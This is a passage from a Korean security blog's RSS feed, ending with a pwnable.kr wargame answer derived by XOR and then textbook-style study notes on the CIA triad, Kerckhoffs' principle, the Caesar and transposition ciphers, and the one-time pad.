14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;key ^ random == 0xdeadbeef&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;같은 비트를 xor 연산 두번하면 xor 연산이 사라진다&lt;/span&gt;는 것은 기본적으로 알고 있을 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key == 0xdeadbeef ^ random&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key = 3039230856&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 740px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9964D2415BE05E1F1D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9964D2415BE05E1F1D&quot; width=&quot;740&quot; height=&quot;80&quot; filename=&quot;이미지 005.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/226</guid>
      <comments>https://marcokhan.tistory.com/226#entry226comment</comments>
      <pubDate>Tue, 6 Nov 2018 00:15:49 +0900</pubDate>
    </item>
    <item>
      <title>보안의 기본과 암호 기초 (Crypto)</title>
      <link>https://marcokhan.tistory.com/225</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Information Security Principles and Practice 2nd Edition을 보고 기본 개념을 정립하기에 좋다고 생각하여 정리하여 글을 쓴다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;영어 공부도 할 겸, 영어로 많이 쓰려고 노력은.. 해야지...&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이 책에서는 등장인물로 Alice, Bob, Charlie,&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;Trudy가 주로 나온다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Alice와 Bob, Charlie는&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;선한 인물,Trudy는 악한 인물로 가정하고 정리를 시작하겠다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;정보 &lt;/span&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;보안의 3대 요소 (CIA)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;정보 보안의 3대 요소는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;Confidentiality(기밀성)&lt;/b&gt;&lt;/span&gt;: Prevent unauthorized reading of information ( 인가되지 않은 사람이 정보를 읽으면 안된다.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&lt;b&gt;Integrity(무결성)&lt;/b&gt;&lt;/span&gt;; detect unauthorized writing of information ( 인가되지 않은 사람이 정보를 수정하면 안된다.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Availability(가용성)&lt;/span&gt;&lt;/b&gt;: Data is available in a timely manner when needed ( 데이터는 필요시에 항상 사용 가능해야한다.)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;Crypto terminology(암호 용어)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Cryptology(암호학): &quot;secret code&quot;를 만들거나 해독하는 학문&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Cryptography(암호생산): &quot;secret code&quot;를 만드는 것&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Cryptanalysis(암호분석): &quot;secret code&quot;를 분석하는 것&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Crypto(암호): 위 세가지를 모두 의미하고 그 이상의 의미로도 사용된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;일반적으로 원본 데이터를 plain text(평문)이라고 하고, 암호화 된 데이터를 cipher text(암호문)이라고 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;plain text에서 cipher &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;text로 바뀌는&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;것을 encryption(&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호화) 라고 하고, cipher text에서 plain text로 바뀌는 것을 decryption(복호화)&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;라고 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key는 encryption과 decryption을 하기 위해 사용된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;encryption key와 decryptino key가 같으면 &lt;b&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;symmetric key cryptosystem(대칭키)&lt;/span&gt;&lt;/b&gt; 라고 불린다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그림으로 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99BADF355BDC0FC63C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99BADF355BDC0FC63C&quot; width=&quot;1000&quot; height=&quot;300&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;encryption key와 decryption key가 다르면&lt;b&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; private key cryptosystem(개인키)&lt;/span&gt;&lt;/b&gt;라고 불린다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그림으로 나타내면 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A961415BDC102B0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A961415BDC102B0F&quot; width=&quot;1000&quot; height=&quot;263&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;일반적으로 encryption을 하기 위해 public key를 사용하고 decryption을 하기 위해 private key를 사용한다.&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;encryption은 누구나 할 수 있고, decryption은 각 개인만이 할 수 있는 crypto system이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;Kerckhoffs' Principle(커크호프의 법칙)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Crypto system의 목표는 key가 유출되지 않는한 복호화 할 수 있는 방법이 없어야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Crypto system의 알고리즘은 비밀이 아니고, key를 제외한 모든 방식은 알려져있다는 것이 Kerckhoffs' Principle이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Crypto system은 아무리 비밀로 치부해도 유출될 가능성이 있고, 유출이 된다면 사용되지 못하기 때문에 kerckhoff's Principle을 기초로 하고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;classic Cipher (고전암호)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현대 암호를 본격적으로 공부하기 전에 classic cipher에 대해 알아볼 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;&lt;b&gt;Simple Substitution (단순 치환)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Simple Substitution은 1대1 치환하는 cipher라고 생각하면 된다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;현재 문자를 n번째 앞에 있는 문자와 치환 하는 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래는 n=3 일 때를 나타낸 것이고, C&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;easar's Cipher를 나타낸 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/993B2F4D5BDC182A25&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F993B2F4D5BDC182A25&quot; width=&quot;1000&quot; height=&quot;112&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;plaintext: marcoi&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;smart&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;hakcer&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ciphertext: PDUFRLUVPDUWKDNHU&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 간단히 simple substitution을 할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;simple substitution이 간단히 문자 이동 방법만 사용했다고 가정하면 trudy가 암호문을 얻었을 경우 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;26번의 경우의 수를 가지고 있고, 평균 13번의 공격으로 plaintext를 얻을 수 있다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이와 같이 가능한 모든 경우의 수를 통해 key를 찾아내는 시도를 try them all (전수키조사)라고 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 simple substitution에서 n 자리수의 이동만 가능한게 아니라 다양한 조합의 수가 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 1대1 치환이기 때문에 각 문자의 통계는 바뀌지 않아 전수키조사를 하지 않고 더 빠른 방법으로 공격 가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;crypto의 안전성이란?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;secure Crpyto system is defined &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;if best know attack is to try all keys&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;안전한 암호 체계는 공격 방법이 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;전수키조사 뿐&lt;/span&gt;일 때 안전한 암호 체계이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;insecure crypto system is defined&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; if any shortcut attack is known&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;안전하&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;지 않은&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;암호 체계는 공격 방법이 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;전수키조사 &lt;/span&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;이외&lt;/span&gt;의 빠른 방법&lt;/span&gt;이 있을때&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;안전하지 않은 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;암호 체계이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;Double Transposition Cipher (이중&lt;/span&gt;&lt;span style=&quot;font-size: 18pt; background-color: rgb(250, 244, 192);&quot;&gt;전위 암호)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Double Transposition Cipher는 plain text를 미리 정한 크기의 행렬로 배열하고 행과 열을 미리 정한 순서로 바꾼다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래의 예시를 보면 이해하기 쉬울것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 988px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999656435BDC29EE14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999656435BDC29EE14&quot; width=&quot;988&quot; height=&quot;673&quot; filename=&quot;이미지 014.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cipher text의 decryption은 encryption의 정확히 반대 순서로 계산하면 plain text를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Double Transposition Cipher는 plain text의 문자를 바꾸지 않는다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다만, 통계적 정보를 가지고 공격하는 방식에는 효과적이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192); font-size: 18pt;&quot;&gt;One - Time - Pad (일회성 암호)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;one time pad는 plaint text와 key stream을 xor 연산한 결과를 cipher text로 사용하는 체계이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;x와 y의 xor 연산은 x&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;⊕ y 로 나타내고 xor의 특징으로&amp;nbsp; x&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;⊕ y&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-family: Gulim, 굴림; font-size: 14pt;&quot;&gt;⊕ y =x이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;one time pad의 특징은 반드시 key stream과 plain text의 길이가 같아야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;plain text에 각 문자가 매핑되는 특정 bit가 사전에 정립되어야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래의 간단한 예시를 보고 이해 해&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994496455BDC2F4F19&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994496455BDC2F4F19&quot; width=&quot;1000&quot; height=&quot;119&quot; filename=&quot;이미지 016.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문자와 mapping 되는 bit는 위와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이를 바탕으로 encryption을 진행해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FE1C4B5BDC309729&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FE1C4B5BDC309729&quot; width=&quot;1000&quot; height=&quot;506&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;위와 같이 xor를 통해 plain text와 cipher text를 만들 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;다만 평문의 길이만큼 key stream이 필요하는것이 one time pad의 특징이자 단점이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 기존에 정립된 맵핑 정보를 알면 key를 마음대로 조작해 다른 의미를 띄게 할 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cipher text를 통해 plain text의 정보도 알아낼 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이러한 점으로 미루어 보아 안전한 암호체계의 일회성 암호&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;특징을 보여준다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;one time pad가 일회용으로 사용되어야만 하는 이유를 알아보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;두 개의 plain text 두 개가 P1, P2이라고 가정하면 cipher text C1, C2는 아래와 같이 나타낼 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;C1 = P1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ Key, C2 = P2&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ key&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;C1과 C2를 xor하면 어떻게 될까?? 아래의 경우를 보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;C1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ C2 = P1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ key&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ P2&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕ key = P1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;⊕&amp;nbsp; P2&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(34, 34, 34); font-size: 14pt;&quot;&gt;key 가&amp;nbsp; 사라지기 때문에 